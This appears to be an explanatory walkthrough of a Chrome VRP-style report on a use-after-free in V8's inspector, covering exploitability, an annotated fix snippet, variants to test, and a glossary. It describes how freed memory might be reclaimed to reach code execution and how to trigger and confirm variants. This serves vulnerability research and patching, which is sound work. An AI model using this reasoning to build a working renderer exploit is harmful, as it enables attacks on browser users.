The immediate effect is memory corruption in the renderer process: a read from a freed 232-byte heap region. The renderer process is the separate process Chrome uses to render each page, kept apart from the rest of the browser for safety. The report describes the potential for exploitation as follows. The freed memory can be reclaimed by same-bucket allocations, and with the ASAN quarantine disabled, different Chrome objects naturally take the freed slot. A bucket here is a size class in the allocator: blocks of similar size are kept together, so a freed 232-byte block is most likely to be reused by another request of a similar size. If m_customPreviewEnabled at offset 224 reads as non-zero, additional virtual method calls occur on the fake object, and with controlled memory reclamation this could lead to code execution. A virtual method call is a call that is resolved at runtime through a table stored in the object, so if an attacker controls the object's bytes, they can influence where the call goes.
The report is also explicit about the obstacles. The UAF read happens synchronously in the same call stack as the free, so there is no JavaScript execution window between free and use. The 232-byte InjectedScript bucket may not align with JavaScript-controllable objects, and racing the allocation would need a separate thread or process. The crash is in a sandboxed renderer process.
Fix
The report proposes options:
- Use safe pointers: convert the raw
InjectedScript*toraw_ptr<InjectedScript>or a similar smart pointer. A smart pointer is a pointer type that carries extra checks or ownership rules. - Re-validate before use: after any JavaScript callback such as
prepareStackTrace, look theInjectedScriptup again from the context. - Prevent context destruction during the callback: block iframe removal while a console message is being processed.
The report gives an example fix in v8-console-message.cc that re-fetches the pointer after the JavaScript has run and bails out if the context is gone:
// Before: raw pointer used after JS execution
InjectedScript* injectedScript = session->findInjectedScript(m_contextId);
// ... JS runs here that could free injectedScript ...
injectedScript->wrapObject(...); // UAF!
// After: Re-fetch or validate after JS execution
InjectedScript* injectedScript = session->findInjectedScript(m_contextId);
// ... JS runs ...
injectedScript = session->findInjectedScript(m_contextId); // Re-fetch
if (!injectedScript) return; // Context was destroyed
injectedScript->wrapObject(...); // Safe
Line by line:
// Before: raw pointer used after JS execution: a comment describing the buggy version.InjectedScript* injectedScript = session->findInjectedScript(m_contextId);: asks the session for the object and stores the returned address in a variable. The*in the type means it is a pointer.// ... JS runs here that could free injectedScript ...: a comment marking the gap where page JavaScript runs and may free the object.injectedScript->wrapObject(...); // UAF!: uses the old address. The->means "call this method on the object at this address". The comment flags it as the use-after-free.// After: Re-fetch or validate after JS execution: a comment describing the fixed version.- The next lines show the fixed version, which looks the object up again after the JavaScript.
injectedScript = session->findInjectedScript(m_contextId); // Re-fetch: looks the object up a second time, after the JavaScript, so the variable holds a fresh address or nothing.if (!injectedScript) return; // Context was destroyed: if the lookup came back empty, the context is gone, so the function stops instead of using a stale address.injectedScript->wrapObject(...); // Safe: only now is the object used, and it is known to still exist.
Variants to test
- Other synchronous callbacks during console formatting. Any page-controlled function that runs while the inspector holds an
InjectedScript*is a candidate. A positive result is an ASAN heap-use-after-free whose free stack goes throughdiscardInspectedContext()and whose use stack goes throughwrapObjectMirror(). - Other ways to destroy the context from inside the callback. The report shows
window.frameElement.remove()in a same-origin iframe. A positive result is the same crash with the free occurring during the callback rather than after it. - Different iframe schemes. The report found
srcdocandjavascript:URLs crash whileblob:anddata:URLs are blocked as cross-origin. A positive result is a crash from a scheme that still gives same-origin access toparent.document. - Quarantine disabled to check reuse. Running with
ASAN_OPTIONS=quarantine_size_mb=0turns the use-after-free into a heap-buffer-overflow when another allocation takes the slot. A positive result is a report showing the access landing past the end of a different object, which confirms the freed memory is being reused.
Glossary
- ASAN (AddressSanitizer): a special build of a program that checks every memory access and reports invalid ones.
- Allocator: the part of the runtime that hands out and reclaims blocks of memory.
- Blob URL: a URL that points at data held in the browser's memory.
- Bucket: a size class in the allocator; blocks of similar size are grouped so they can be reused for similar requests.
- Call stack: the chain of function calls currently in progress, newest first.
- Callback: a function you hand to another piece of code so it runs at a chosen moment.
- CDP (Chrome DevTools Protocol): the message language tools use to talk to Chrome.
- Chrome VRP: Google's Vulnerability Reward Program that pays for reports of security bugs in Chrome.
- Class: a blueprint for an object in C++.
- Console: the text area in DevTools where a page can print messages.
- Context: the environment that owns a page's JavaScript objects; destroying it frees them.
- Cross-origin: coming from a different scheme, host or port, so the browser blocks direct access between the pages.
- CVE: a public catalogue number for a known security flaw.
- Dangling pointer: a pointer to memory that has been freed or is no longer reserved for that object.
- Data URL: a URL that carries its content inside the URL itself.
- Destructor: the function that runs when an object is destroyed.
- DevTools: Chrome's built-in developer tools panel.
- Heap: the pool of memory a program uses for objects created while running.
- Heap-buffer-overflow: reading or writing outside the bounds of an allocated block.
- Hook: a place where a program lets you plug in your own function to run instead of the default.
- HTML: the language web pages are written in.
- Iframe: a page embedded inside another page.
- InjectedScript: the Inspector's internal object that wraps page values for DevTools.
- Inspector: the part of Chrome that powers DevTools.
- JavaScript: the programming language web pages use for interactive behaviour.
- JavaScript engine: the software that reads and runs JavaScript, here V8.
- Map: a lookup table from keys to values.
- Member: a field of an object.
- MiraclePtr: a Chrome defence that wraps pointers in a checked type so freed objects cannot be quietly reused.
- Object mirror: a stand-in copy of a value used by DevTools to display it.
- Offset: how many bytes from the start of an object a field sits.
- Origin: the combination of scheme, host and port a page comes from.
- Pointer: a value that holds a memory address.
- Protocol message: a named instruction sent to the browser over CDP.
- Puppeteer: a library that drives a browser from a script.
- Quarantine: ASAN's habit of holding freed memory aside for a while so use-after-free is caught.
- Raw pointer: a plain address with no safety checks.
- Renderer process: the separate process Chrome uses to render a page, isolated from the rest of the browser.
- Same-origin: having the same scheme, host and port, so pages may access each other's documents.
- Sandbox: an isolation layer that stops a page from reaching the rest of the system.
- Smart pointer: a pointer type that carries extra checks or ownership rules.
- Stack trace: the list of function calls that led to an error.
- Synchronous: happening immediately, in the middle of the current operation.
- Thread: one line of execution inside a program.
- Unique_ptr: a C++ pointer that owns its object and frees it automatically.
- Use-after-free (UAF): using memory after it has been freed.
- V8: Chrome's JavaScript engine.
- Virtual method call: a call resolved at runtime through a table stored in the object.